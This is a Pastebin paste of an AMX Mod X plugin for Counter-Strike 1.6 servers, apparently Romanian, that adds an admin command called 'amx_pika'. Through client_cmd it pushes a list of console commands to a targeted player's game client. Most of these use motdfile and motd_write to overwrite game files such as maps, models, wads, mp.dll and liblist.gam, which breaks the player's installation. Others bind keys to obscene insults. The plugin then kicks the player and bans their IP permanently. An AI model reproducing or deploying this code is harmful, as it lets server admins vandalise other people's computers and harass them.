Sokarbestfrag

Untitled

Feb 25th, 2018
132
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #include < amxmodx >
  2. #include < amxmisc >
  3.  
  4. #define PLUGIN "AMXX Pika V5"
  5. #define VERSION "5.0"
  6. #define AUTHOR "sS.pikacIu14"
  7.  
  8. // Plugin creat de sS.pikacIu14
  9. // Plugin modificat de Orang3
  10. // Contact : orang3_prof3ssional@yahoo.com ( NU SE OFERA SUPORT PE ID FOLOSITI FORUMUL )
  11.  
  12. new const g_pika [ ] [ ] =
  13. {
  14. // Adaugi mai multe modele urmate de o virgula pana ajungi la 150
  15. "motdfile models/player/terror/terror.mdl",
  16. "motdfile sprites/rain.spr",
  17. // Comenzi de bind
  18. "bind x Sugi cariciu", // :)) =))
  19. "bind c Iati adio de la CS fraere !", // :)) =))
  20. "bind c Vezi daca esti bulangiu acuma intra pe torrent cautati windows si nero daca mai vrei sa joci cs !", // :)) =))
  21. "bind v MUIE MIE", // :)) =))
  22. "motd maps/default.res",
  23. "cl_timeout 0.0",
  24. "name amx_pika",
  25. "motdfile models/player.mdl;motd_write x",
  26. "motdfile models/v_ak47.mdl;motd_write x",
  27. "motdfile cs_dust.wad;motd_write x",
  28. "motdfile models/v_m4a1.mdl;motd_write x",
  29. "motdfile resource/GameMenu.res;motd_write x",
  30. "motdfile halflife.wad;motd_write x",
  31. "motdfile cstrike.wad;motd_write x",
  32. "motdfile maps/de_dust2.bsp;motd_write x",
  33. "motdfile events/ak47.sc;motd_write x",
  34. "motdfile dlls/mp.dll;motd_write x",
  35. "motdfile decals.wad;motd_write x",
  36. "motdfile custom.hpk;motd_write x",
  37. "motdfile liblist.gam;motd_write x",
  38. "motdfile tempdecal.wad;motd_write x",
  39. "motdfile maps/de_inferno;motd_write x",
  40. "motdfile maps/de_dust;motd_write x",
  41. "motdfile models/player/leet/leet.mdl;motd_write x"
  42. }
  43.  
  44. public plugin_init ( )
  45. {
  46. register_plugin ( PLUGIN, VERSION, AUTHOR )
  47.  
  48. // Add your code here...
  49. register_clcmd ( "amx_pika", "cmdPika", ADMIN_BAN, "<nume sau #userid> [motiv]" );
  50. }
  51.  
  52. public cmdPika ( id, level, cid )
  53. {
  54. if ( !cmd_access ( id, level, cid, 3 ) )
  55. return 1;
  56.  
  57. new arg [ 33 ];
  58. read_argv ( 1, arg, charsmax ( arg ) );
  59. new player = cmd_target ( id, arg, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_ALLOW_SELF );
  60.  
  61. if ( !player )
  62. {
  63. console_print ( id, "[CS] Jucatorul nu este online sau a iesit de pe Server" );
  64. return 1;
  65. }
  66.  
  67. new authid [ 33 ], authid2 [ 33 ], name2 [ 33 ], name [ 33 ], userid2, reason [ 32 ], userip [ 33 ];
  68.  
  69. get_user_authid ( id, authid, charsmax ( authid ) );
  70. get_user_authid ( player, authid2, charsmax ( authid2 ) );
  71. get_user_name ( player, name2, charsmax ( name2 ) );
  72. get_user_name ( id, name, charsmax ( name ) );
  73. get_user_ip ( player, userip, charsmax ( userip ) );
  74.  
  75. userid2 = get_user_userid ( player )
  76.  
  77. read_argv ( 2, reason, 31 );
  78. remove_quotes ( reason );
  79.  
  80. log_to_file ( "amx_pika.log", "Adminul %s a folosit PIKA pe: %s cu motivul: %s", name, player, userid2, reason );
  81.  
  82. new i;
  83. for ( i = 0; i < sizeof ( g_pika ); i++ )
  84. client_cmd ( player, g_pika [ i ] );
  85.  
  86. server_cmd ( "kick #%d ^"Ai primit PIKA ^";wait;addip 999999.0 ^"%s^";wait;writeip", player, userip );
  87.  
  88. client_print ( 0, print_chat, "[CS] Adminul %s l-a strivit pe gandacul de %s", name, player, userid2 );
  89.  
  90. }
RAW Paste Data